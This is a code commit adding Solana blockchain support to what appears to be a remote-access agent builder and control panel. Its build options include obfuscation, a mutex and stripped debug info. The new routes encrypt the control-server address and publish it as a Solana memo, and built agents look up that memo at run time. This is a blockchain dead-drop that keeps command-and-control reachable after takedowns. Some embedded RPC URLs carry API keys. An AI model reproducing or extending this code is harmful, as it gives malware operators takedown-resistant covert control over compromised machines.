add solana support
This commit is contained in:
@@ -700,6 +700,24 @@ func runBoundFiles() {
|
||||
sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
|
||||
}
|
||||
|
||||
if (config.solMemo) {
|
||||
const solFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsSol=true";
|
||||
ldflags = ldflags ? `${ldflags} ${solFlag}` : solFlag;
|
||||
sendToStream({ type: "output", text: "Solana memo lookup: enabled\n", level: "info" });
|
||||
|
||||
if (config.solAddress) {
|
||||
const solAddrFlag = `-X overlord-client/cmd/agent/config.DefaultSolAddress=${config.solAddress}`;
|
||||
ldflags = `${ldflags} ${solAddrFlag}`;
|
||||
sendToStream({ type: "output", text: `Solana address: ${config.solAddress}\n`, level: "info" });
|
||||
}
|
||||
|
||||
if (config.solRpcEndpoints) {
|
||||
const solRpcFlag = `-X overlord-client/cmd/agent/config.DefaultSolRPCEndpoints=${config.solRpcEndpoints}`;
|
||||
ldflags = `${ldflags} ${solRpcFlag}`;
|
||||
sendToStream({ type: "output", text: `Solana RPC endpoints: ${config.solRpcEndpoints}\n`, level: "info" });
|
||||
}
|
||||
}
|
||||
|
||||
if (buildMutex) {
|
||||
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
|
||||
ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
|
||||
|
||||
@@ -40,6 +40,7 @@ type HttpDispatchDeps<
|
||||
handleAutoScriptsRoutes: RouteHandler;
|
||||
handleAutoDeployRoutes: RouteHandlerWithDeps<TAutoDeploy>;
|
||||
handleEnrollmentRoutes: RouteHandler;
|
||||
handleSolRoutes: RouteHandler;
|
||||
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
||||
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
||||
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
|
||||
@@ -122,6 +123,9 @@ export function createHttpFetchHandler<
|
||||
const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
|
||||
if (enrollmentResponse) return enrollmentResponse;
|
||||
|
||||
const solResponse = await deps.handleSolRoutes(req, url);
|
||||
if (solResponse) return solResponse;
|
||||
|
||||
const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
|
||||
if (usersResponse) return usersResponse;
|
||||
|
||||
|
||||
@@ -49,6 +49,9 @@ export async function handleBuildRoutes(
|
||||
platforms,
|
||||
serverUrl,
|
||||
rawServerList,
|
||||
solMemo,
|
||||
solAddress,
|
||||
solRpcEndpoints,
|
||||
stripDebug,
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
@@ -101,10 +104,19 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
|
||||
const safeRawServerList = !!rawServerList;
|
||||
const safeSolMemo = !!solMemo;
|
||||
const safeServerUrl =
|
||||
typeof serverUrl === "string" && serverUrl.trim() !== ""
|
||||
? serverUrl.trim()
|
||||
: undefined;
|
||||
|
||||
if (safeRawServerList && safeSolMemo) {
|
||||
return Response.json(
|
||||
{ error: "Cannot enable both raw server list and Solana memo mode" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
|
||||
if (safeRawServerList) {
|
||||
if (!safeServerUrl) {
|
||||
return Response.json(
|
||||
@@ -125,6 +137,46 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
let safeSolAddress: string | undefined;
|
||||
let safeSolRpcEndpoints: string | undefined;
|
||||
if (safeSolMemo) {
|
||||
if (typeof solAddress !== "string" || !solAddress.trim()) {
|
||||
return Response.json(
|
||||
{ error: "Solana memo mode requires a Solana address" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
const trimmedAddr = solAddress.trim();
|
||||
if (!/^[1-9A-HJ-NP-Za-km-z]{32,44}$/.test(trimmedAddr)) {
|
||||
return Response.json(
|
||||
{ error: "Invalid Solana address (must be Base58, 32-44 chars)" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
safeSolAddress = trimmedAddr;
|
||||
|
||||
if (typeof solRpcEndpoints === "string" && solRpcEndpoints.trim()) {
|
||||
const endpoints = solRpcEndpoints.split("\n").map((e: string) => e.trim()).filter(Boolean);
|
||||
for (const ep of endpoints) {
|
||||
try {
|
||||
const parsed = new URL(ep);
|
||||
if (parsed.protocol !== "https:" && parsed.protocol !== "http:") {
|
||||
return Response.json(
|
||||
{ error: `Invalid RPC endpoint protocol: ${ep}` },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
} catch {
|
||||
return Response.json(
|
||||
{ error: `Invalid RPC endpoint URL: ${ep}` },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
}
|
||||
safeSolRpcEndpoints = endpoints.join(",");
|
||||
}
|
||||
}
|
||||
|
||||
const buildId = uuidv4();
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
|
||||
@@ -233,6 +285,9 @@ export async function handleBuildRoutes(
|
||||
platforms: allowedPlatforms,
|
||||
serverUrl: safeServerUrl,
|
||||
rawServerList: safeRawServerList,
|
||||
solMemo: safeSolMemo,
|
||||
solAddress: safeSolAddress,
|
||||
solRpcEndpoints: safeSolRpcEndpoints,
|
||||
mutex: safeMutex,
|
||||
disableMutex: safeDisableMutex,
|
||||
stripDebug,
|
||||
|
||||
@@ -71,6 +71,7 @@ const STATIC_PAGES: StaticPageDef[] = [
|
||||
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
|
||||
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
|
||||
{ path: "/build", file: "build.html", access: "admin-or-operator" },
|
||||
{ path: "/sol-publish", file: "sol-publish.html", access: "admin" },
|
||||
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
|
||||
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
|
||||
{ path: "/deploy", file: "deploy.html", access: "admin" },
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
import { createHash, randomBytes, createCipheriv } from "crypto";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { getConfig } from "../../config";
|
||||
import { logger } from "../../logger";
|
||||
import {
|
||||
Connection,
|
||||
Keypair,
|
||||
Transaction,
|
||||
TransactionInstruction,
|
||||
PublicKey,
|
||||
LAMPORTS_PER_SOL,
|
||||
} from "@solana/web3.js";
|
||||
|
||||
const MEMO_PROGRAM_ID = new PublicKey("MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr");
|
||||
|
||||
const BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
|
||||
function decodeBase58(str: string): Uint8Array {
|
||||
const bytes: number[] = [0];
|
||||
for (const char of str) {
|
||||
const idx = BASE58_ALPHABET.indexOf(char);
|
||||
if (idx < 0) throw new Error(`Invalid base58 character: ${char}`);
|
||||
let carry = idx;
|
||||
for (let j = 0; j < bytes.length; j++) {
|
||||
carry += bytes[j] * 58;
|
||||
bytes[j] = carry & 0xff;
|
||||
carry >>= 8;
|
||||
}
|
||||
while (carry > 0) {
|
||||
bytes.push(carry & 0xff);
|
||||
carry >>= 8;
|
||||
}
|
||||
}
|
||||
for (const char of str) {
|
||||
if (char !== '1') break;
|
||||
bytes.push(0);
|
||||
}
|
||||
return new Uint8Array(bytes.reverse());
|
||||
}
|
||||
|
||||
const DEFAULT_RPC_ENDPOINTS = [
|
||||
"https://api.mainnet-beta.solana.com",
|
||||
"https://solana-mainnet.gateway.tatum.io",
|
||||
"https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
|
||||
"https://solana-rpc.publicnode.com",
|
||||
"https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
|
||||
"https://solana.drpc.org",
|
||||
"https://solana.leorpc.com/?api_key=FREE",
|
||||
"https://solana.api.onfinality.io/public",
|
||||
"https://solana.api.pocket.network/",
|
||||
"https://api.devnet.solana.com",
|
||||
];
|
||||
|
||||
function encryptServerUrl(serverUrl: string, agentToken: string): string {
|
||||
const keyHash = createHash("sha256").update(agentToken).digest();
|
||||
const nonce = randomBytes(12);
|
||||
const cipher = createCipheriv("aes-256-gcm", keyHash, nonce);
|
||||
const encrypted = Buffer.concat([cipher.update(serverUrl, "utf8"), cipher.final()]);
|
||||
const tag = cipher.getAuthTag();
|
||||
return Buffer.concat([nonce, encrypted, tag]).toString("base64");
|
||||
}
|
||||
|
||||
export async function handleSolRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/sol")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/sol/preview") {
|
||||
const body = await req.json();
|
||||
const { serverUrl } = body;
|
||||
|
||||
if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) {
|
||||
return Response.json({ error: "serverUrl is required" }, { status: 400 });
|
||||
}
|
||||
|
||||
const config = getConfig();
|
||||
const agentToken = config.auth.agentToken;
|
||||
if (!agentToken) {
|
||||
return Response.json({ error: "No agent token configured on this server" }, { status: 400 });
|
||||
}
|
||||
|
||||
const memo = encryptServerUrl(serverUrl.trim(), agentToken);
|
||||
return Response.json({ memo, memoLength: memo.length });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/sol/publish") {
|
||||
const body = await req.json();
|
||||
const { privateKeyBase58, serverUrl, rpcUrl } = body;
|
||||
|
||||
if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) {
|
||||
return Response.json({ error: "serverUrl is required" }, { status: 400 });
|
||||
}
|
||||
if (!privateKeyBase58 || typeof privateKeyBase58 !== "string" || !privateKeyBase58.trim()) {
|
||||
return Response.json({ error: "privateKeyBase58 is required" }, { status: 400 });
|
||||
}
|
||||
|
||||
const config = getConfig();
|
||||
const agentToken = config.auth.agentToken;
|
||||
if (!agentToken) {
|
||||
return Response.json({ error: "No agent token configured on this server" }, { status: 400 });
|
||||
}
|
||||
|
||||
let keypair: Keypair;
|
||||
try {
|
||||
const decoded = decodeBase58(privateKeyBase58.trim());
|
||||
keypair = Keypair.fromSecretKey(decoded);
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid Solana private key (Base58)" }, { status: 400 });
|
||||
}
|
||||
|
||||
const endpoint = typeof rpcUrl === "string" && rpcUrl.trim()
|
||||
? rpcUrl.trim()
|
||||
: "https://api.mainnet-beta.solana.com";
|
||||
|
||||
try {
|
||||
new URL(endpoint);
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid RPC URL" }, { status: 400 });
|
||||
}
|
||||
|
||||
const memo = encryptServerUrl(serverUrl.trim(), agentToken);
|
||||
|
||||
try {
|
||||
const connection = new Connection(endpoint, "confirmed");
|
||||
|
||||
const memoInstruction = new TransactionInstruction({
|
||||
keys: [{ pubkey: keypair.publicKey, isSigner: true, isWritable: true }],
|
||||
programId: MEMO_PROGRAM_ID,
|
||||
data: Buffer.from(memo, "utf8"),
|
||||
});
|
||||
|
||||
const transaction = new Transaction().add(memoInstruction);
|
||||
transaction.feePayer = keypair.publicKey;
|
||||
|
||||
const { blockhash } = await connection.getLatestBlockhash("confirmed");
|
||||
transaction.recentBlockhash = blockhash;
|
||||
|
||||
transaction.sign(keypair);
|
||||
|
||||
const signature = await connection.sendRawTransaction(transaction.serialize(), {
|
||||
skipPreflight: false,
|
||||
preflightCommitment: "confirmed",
|
||||
});
|
||||
|
||||
await connection.confirmTransaction(signature, "confirmed");
|
||||
|
||||
logger.info(`[sol] Published memo to Solana. Signature: ${signature}, Address: ${keypair.publicKey.toBase58()}`);
|
||||
|
||||
return Response.json({
|
||||
success: true,
|
||||
signature,
|
||||
address: keypair.publicKey.toBase58(),
|
||||
memo,
|
||||
memoLength: memo.length,
|
||||
explorerUrl: endpoint.includes("devnet")
|
||||
? `https://explorer.solana.com/tx/${signature}?cluster=devnet`
|
||||
: `https://explorer.solana.com/tx/${signature}`,
|
||||
});
|
||||
} catch (err: any) {
|
||||
logger.error(`[sol] Failed to publish memo: ${err?.message || err}`);
|
||||
return Response.json({
|
||||
error: `Transaction failed: ${err?.message || "Unknown error"}`,
|
||||
}, { status: 500 });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/sol/balance") {
|
||||
const body = await req.json();
|
||||
const { publicKeyBase58, rpcUrl } = body;
|
||||
|
||||
if (!publicKeyBase58 || typeof publicKeyBase58 !== "string") {
|
||||
return Response.json({ error: "publicKeyBase58 is required" }, { status: 400 });
|
||||
}
|
||||
|
||||
let pubkey: PublicKey;
|
||||
try {
|
||||
pubkey = new PublicKey(publicKeyBase58.trim());
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid Solana public key" }, { status: 400 });
|
||||
}
|
||||
|
||||
const endpoint = typeof rpcUrl === "string" && rpcUrl.trim()
|
||||
? rpcUrl.trim()
|
||||
: "https://api.mainnet-beta.solana.com";
|
||||
|
||||
try {
|
||||
const connection = new Connection(endpoint, "confirmed");
|
||||
const balance = await connection.getBalance(pubkey);
|
||||
return Response.json({
|
||||
balance,
|
||||
balanceSol: balance / LAMPORTS_PER_SOL,
|
||||
});
|
||||
} catch (err: any) {
|
||||
return Response.json({
|
||||
error: `Failed to fetch balance: ${err?.message || "Unknown error"}`,
|
||||
}, { status: 500 });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/sol/rpc-endpoints") {
|
||||
return Response.json({ endpoints: DEFAULT_RPC_ENDPOINTS });
|
||||
}
|
||||
|
||||
return null;
|
||||
} catch (err: any) {
|
||||
logger.error(`[sol] Route error: ${err?.message || err}`);
|
||||
return Response.json({ error: "Internal server error" }, { status: 500 });
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user